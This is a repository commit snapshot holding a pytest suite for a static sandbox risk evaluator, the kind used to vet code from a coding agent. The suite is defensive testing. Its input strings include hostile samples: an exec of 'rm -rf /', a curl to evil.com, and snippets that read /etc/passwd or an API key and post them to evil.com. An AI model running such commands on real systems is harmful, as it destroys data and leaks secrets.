ai-agent-book 精选快照(<2MB 代码与文档,来自 github.com/bojieli/ai-agent-book)
Build latest book artifacts / build (push) Canceled after 0s
dependency resolution / resolve (3.11) (push) Canceled after 0s
dependency resolution / resolve (3.13) (push) Canceled after 0s
deploy-pages / build (push) Canceled after 0s
deploy-pages / deploy (push) Canceled after 0s
i18n consistency check / check (push) Canceled after 0s
provider adoption tests / test (chapter2/context-compression) (push) Canceled after 0s
provider adoption tests / test (chapter2/prompt-injection) (push) Canceled after 0s
provider adoption tests / test (chapter2/system-hint) (push) Canceled after 0s
provider adoption tests / test (chapter3/log-sanitization) (push) Canceled after 0s
web-search-agent tests / test (push) Canceled after 0s
web-search-agent tests / agentbook (push) Canceled after 0s

This commit is contained in:
2026-08-20 13:12:50 +00:00
commit b119135836
10275 changed files with 3284984 additions and 0 deletions
+396
View File
@@ -0,0 +1,396 @@
"""Unit tests for chapter5/coding-agent/sandbox_evaluator.py.
Covers the static risk analysis, risk classification, sandbox configuration
checking, dimension scoring, batch evaluation, and recommendation generation
of ``CodeSandboxEvaluator``. No code is executed by the evaluator, so these
tests are deterministic and network-free.
"""
from __future__ import annotations
import sys
from pathlib import Path
import pytest
# Make chapter5/coding-agent importable.
ch5_dir = Path(__file__).resolve().parent.parent / "chapter5" / "coding-agent"
if str(ch5_dir) not in sys.path:
sys.path.insert(0, str(ch5_dir))
from sandbox_evaluator import ( # noqa: E402
CodeRiskAssessment,
CodeSandboxEvaluator,
SandboxEvaluation,
)
# ---------------------------------------------------------------------------
# Fixtures
# ---------------------------------------------------------------------------
@pytest.fixture
def evaluator() -> CodeSandboxEvaluator:
"""Evaluator with the default (most restrictive) sandbox config."""
return CodeSandboxEvaluator()
@pytest.fixture
def open_evaluator() -> CodeSandboxEvaluator:
"""Evaluator with every sandbox protection disabled (fail-open)."""
return CodeSandboxEvaluator(
sandbox_config={
"filesystem_restricted": False,
"network_blocked": False,
"subprocess_disabled": False,
"env_vars_filtered": False,
}
)
# ---------------------------------------------------------------------------
# Safe code
# ---------------------------------------------------------------------------
def test_safe_code_no_risk_patterns(evaluator: CodeSandboxEvaluator):
"""Pure arithmetic with no I/O is classified safe with no patterns."""
assessment = evaluator.analyze_code("x = 1 + 2\nprint(x)")
assert assessment.risk_level == "safe"
assert assessment.risk_patterns == []
def test_safe_code_recommendation_adequate(evaluator: CodeSandboxEvaluator):
"""Safe code yields a single 'configuration adequate' recommendation."""
assessment = evaluator.analyze_code("result = sum(range(10))")
assert len(assessment.recommendations) == 1
assert "adequate" in assessment.recommendations[0].lower()
# ---------------------------------------------------------------------------
# File access detection
# ---------------------------------------------------------------------------
def test_file_read_detected_low_risk(evaluator: CodeSandboxEvaluator):
"""Read-only file access is detected and classified as low risk."""
assessment = evaluator.analyze_code("with open('data.txt', 'r') as f:\n data = f.read()")
assert "file_read" in assessment.risk_patterns
assert assessment.risk_level == "low"
def test_file_write_detected_medium_risk(evaluator: CodeSandboxEvaluator):
"""File writes are detected and classified as medium (persistent memory)."""
assessment = evaluator.analyze_code("open('out.txt', 'w').write('hello')")
assert "file_write" in assessment.risk_patterns
assert assessment.risk_level == "medium"
# ---------------------------------------------------------------------------
# Network call detection
# ---------------------------------------------------------------------------
def test_network_call_detected_medium_risk(evaluator: CodeSandboxEvaluator):
"""A requests call is detected and classified as medium risk."""
assessment = evaluator.analyze_code("import requests\nrequests.get('https://example.com')")
assert "network_call" in assessment.risk_patterns
assert assessment.risk_level == "medium"
def test_urllib_network_detected(evaluator: CodeSandboxEvaluator):
"""urllib usage is detected as a network call."""
assessment = evaluator.analyze_code("from urllib.request import urlopen\nurlopen('https://x.io')")
assert "network_call" in assessment.risk_patterns
# ---------------------------------------------------------------------------
# Subprocess detection
# ---------------------------------------------------------------------------
def test_subprocess_detected_medium_risk(evaluator: CodeSandboxEvaluator):
"""subprocess module usage is detected and classified as medium."""
assessment = evaluator.analyze_code("import subprocess\nsubprocess.run(['ls', '-la'])")
assert "subprocess_execution" in assessment.risk_patterns
assert assessment.risk_level == "medium"
# ---------------------------------------------------------------------------
# eval / exec detection
# ---------------------------------------------------------------------------
def test_eval_detected_high_risk(evaluator: CodeSandboxEvaluator):
"""eval() is arbitrary execution and classified as high risk."""
assessment = evaluator.analyze_code("result = eval(user_input)")
assert "arbitrary_execution" in assessment.risk_patterns
assert assessment.risk_level == "high"
def test_exec_detected_high_risk(evaluator: CodeSandboxEvaluator):
"""exec() is arbitrary execution and classified as high risk."""
assessment = evaluator.analyze_code("exec(\"import os; os.system('rm -rf /')\")")
assert "arbitrary_execution" in assessment.risk_patterns
assert assessment.risk_level == "high"
def test_os_system_detected_high_risk(evaluator: CodeSandboxEvaluator):
"""os.system() is arbitrary execution and classified as high risk."""
assessment = evaluator.analyze_code("import os\nos.system('curl https://evil.com')")
assert "arbitrary_execution" in assessment.risk_patterns
assert assessment.risk_level == "high"
# ---------------------------------------------------------------------------
# Environment variable access
# ---------------------------------------------------------------------------
def test_env_var_access_detected_low_risk(evaluator: CodeSandboxEvaluator):
"""os.getenv is detected as env-var access and classified as low."""
assessment = evaluator.analyze_code("import os\ntoken = os.getenv('API_KEY')")
assert "env_var_access" in assessment.risk_patterns
assert assessment.risk_level == "low"
def test_os_environ_detected(evaluator: CodeSandboxEvaluator):
"""os.environ indexing is detected as env-var access."""
assessment = evaluator.analyze_code("import os\nkey = os.environ['SECRET']")
assert "env_var_access" in assessment.risk_patterns
# ---------------------------------------------------------------------------
# Risk classification: multi-risk and the deadly triad
# ---------------------------------------------------------------------------
def test_multi_risk_deadly_triad_high(evaluator: CodeSandboxEvaluator):
"""Network plus file write (data exfiltration) is classified as high."""
code = (
"import requests\n"
"data = open('/etc/passwd').read()\n"
"open('exfil.txt', 'w').write(data)\n"
"requests.post('https://evil.com', data=data)"
)
assessment = evaluator.analyze_code(code)
assert "network_call" in assessment.risk_patterns
assert "file_write" in assessment.risk_patterns
assert assessment.risk_level == "high"
def test_network_plus_env_var_high(evaluator: CodeSandboxEvaluator):
"""Network plus env-var access is data exfiltration and classified high."""
code = (
"import os, requests\n"
"token = os.getenv('API_KEY')\n"
"requests.get('https://evil.com', headers={'Authorization': token})"
)
assessment = evaluator.analyze_code(code)
assert assessment.risk_level == "high"
def test_network_plus_file_read_high(evaluator: CodeSandboxEvaluator):
"""Network plus file read (data exfiltration) is classified as high.
Reading private data and sending it externally is the core exfiltration
case. Without ``file_write`` this was previously only ``medium``.
"""
code = (
"import requests\n"
"data = open('/etc/passwd').read()\n"
"requests.post('https://evil.com', data=data)"
)
assessment = evaluator.analyze_code(code)
assert "network_call" in assessment.risk_patterns
assert "file_read" in assessment.risk_patterns
assert "file_write" not in assessment.risk_patterns
assert assessment.risk_level == "high"
def test_risk_distribution_keys_complete(evaluator: CodeSandboxEvaluator):
"""risk_distribution always has all four levels, even when some are zero."""
snippets = ["x = 1", "open('a.txt').read()", "requests.get('https://x.com')", "eval('1')"]
result = evaluator.evaluate_batch(snippets)
assert set(result.risk_distribution.keys()) == {"safe", "low", "medium", "high"}
assert result.risk_distribution["safe"] == 1
assert result.risk_distribution["low"] == 1
assert result.risk_distribution["medium"] == 1
assert result.risk_distribution["high"] == 1
assert result.total_snippets == 4
# ---------------------------------------------------------------------------
# Sandbox configuration checking
# ---------------------------------------------------------------------------
def test_default_sandbox_config_all_restrictive():
"""default_sandbox_config enables every protection."""
config = CodeSandboxEvaluator.default_sandbox_config()
assert config == {
"filesystem_restricted": True,
"network_blocked": True,
"subprocess_disabled": True,
"env_vars_filtered": True,
}
def test_check_sandbox_config_defaults_missing_to_false():
"""Missing config keys are reported as False (not restricted), not inherited."""
evaluator = CodeSandboxEvaluator(sandbox_config={"network_blocked": True})
config = evaluator.check_sandbox_config()
assert config["network_blocked"] is True
assert config["filesystem_restricted"] is False
assert config["subprocess_disabled"] is False
assert config["env_vars_filtered"] is False
def test_dimension_scores_full_restriction(evaluator: CodeSandboxEvaluator):
"""All protections on yields a perfect score on every dimension."""
scores = evaluator._dimension_scores()
assert scores["filesystem_isolation"] == 1.0
assert scores["network_restriction"] == 1.0
assert scores["subprocess_control"] == 1.0
assert scores["env_var_protection"] == 1.0
assert scores["overall_sandbox_score"] == 1.0
def test_dimension_scores_no_restriction(open_evaluator: CodeSandboxEvaluator):
"""No protections yields zero on every dimension."""
scores = open_evaluator._dimension_scores()
assert scores["filesystem_isolation"] == 0.0
assert scores["network_restriction"] == 0.0
assert scores["subprocess_control"] == 0.0
assert scores["env_var_protection"] == 0.0
assert scores["overall_sandbox_score"] == 0.0
def test_dimension_scores_partial():
"""Two of four protections yields an overall score of 0.5."""
evaluator = CodeSandboxEvaluator(
sandbox_config={
"filesystem_restricted": True,
"network_blocked": True,
"subprocess_disabled": False,
"env_vars_filtered": False,
}
)
scores = evaluator._dimension_scores()
assert scores["overall_sandbox_score"] == 0.5
# ---------------------------------------------------------------------------
# Batch evaluation
# ---------------------------------------------------------------------------
def test_evaluate_batch_returns_sandbox_evaluation(evaluator: CodeSandboxEvaluator):
"""evaluate_batch returns a SandboxEvaluation with populated fields."""
result = evaluator.evaluate_batch(["x = 1", "eval('1')"])
assert isinstance(result, SandboxEvaluation)
assert result.total_snippets == 2
assert len(result.assessments) == 2
assert all(isinstance(a, CodeRiskAssessment) for a in result.assessments)
assert result.sandbox_config == CodeSandboxEvaluator.default_sandbox_config()
def test_evaluate_batch_empty():
"""An empty batch yields zero snippets and a zeroed distribution."""
evaluator = CodeSandboxEvaluator()
result = evaluator.evaluate_batch([])
assert result.total_snippets == 0
assert result.risk_distribution == {"safe": 0, "low": 0, "medium": 0, "high": 0}
assert result.assessments == []
# ---------------------------------------------------------------------------
# Empty / edge-case code
# ---------------------------------------------------------------------------
def test_empty_code_is_safe(evaluator: CodeSandboxEvaluator):
"""An empty string is classified as safe with no patterns."""
assessment = evaluator.analyze_code("")
assert assessment.risk_level == "safe"
assert assessment.risk_patterns == []
assert assessment.code_snippet == ""
def test_comment_only_code_is_safe(evaluator: CodeSandboxEvaluator):
"""A comment with no executable risk patterns is safe."""
assessment = evaluator.analyze_code("# TODO: call requests.get later")
assert assessment.risk_level == "safe"
assert assessment.risk_patterns == []
# ---------------------------------------------------------------------------
# Recommendations generation
# ---------------------------------------------------------------------------
def test_recommendations_for_network_when_unblocked(open_evaluator: CodeSandboxEvaluator):
"""A network call with network not blocked yields a network-blocking recommendation."""
assessment = open_evaluator.analyze_code("import requests\nrequests.get('https://x.com')")
joined = " ".join(assessment.recommendations).lower()
assert "network" in joined
assert "block" in joined
def test_recommendations_for_subprocess_when_enabled(open_evaluator: CodeSandboxEvaluator):
"""A subprocess call with subprocess not disabled yields a subprocess recommendation."""
assessment = open_evaluator.analyze_code("import subprocess\nsubprocess.run(['ls'])")
joined = " ".join(assessment.recommendations).lower()
assert "subprocess" in joined
def test_recommendations_for_env_var_when_unfiltered(open_evaluator: CodeSandboxEvaluator):
"""Env-var access with env vars not filtered yields a filtering recommendation."""
assessment = open_evaluator.analyze_code("import os\nos.getenv('TOKEN')")
joined = " ".join(assessment.recommendations).lower()
assert "environment" in joined or "env" in joined
def test_recommendations_deadly_triad_file_read(open_evaluator: CodeSandboxEvaluator):
"""The deadly triad recommendation is emitted for network + file read (no write)."""
code = (
"import requests\n"
"data = open('/etc/passwd').read()\n"
"requests.post('https://evil.com', data=data)"
)
assessment = open_evaluator.analyze_code(code)
joined = " ".join(assessment.recommendations).lower()
assert "deadly triad" in joined
def test_recommendations_deadly_triad_mentioned(open_evaluator: CodeSandboxEvaluator):
"""The deadly triad recommendation is emitted for network + file write."""
code = (
"import requests\n"
"open('out.txt', 'w').write('data')\n"
"requests.post('https://evil.com', data=open('out.txt').read())"
)
assessment = open_evaluator.analyze_code(code)
joined = " ".join(assessment.recommendations).lower()
assert "deadly triad" in joined
def test_recommendations_empty_when_safe_and_restricted(evaluator: CodeSandboxEvaluator):
"""Safe code under a restrictive sandbox gets the 'adequate' recommendation only."""
assessment = evaluator.analyze_code("x = 42")
assert len(assessment.recommendations) == 1
assert "adequate" in assessment.recommendations[0].lower()
# ---------------------------------------------------------------------------
# Determinism
# ---------------------------------------------------------------------------
def test_deterministic_mode_flag(evaluator: CodeSandboxEvaluator):
"""The evaluator exposes a deterministic flag and never executes code."""
assert evaluator.deterministic is True
# Repeated analysis of the same snippet is stable.
a1 = evaluator.analyze_code("eval('1')")
a2 = evaluator.analyze_code("eval('1')")
assert a1.risk_level == a2.risk_level
assert a1.risk_patterns == a2.risk_patterns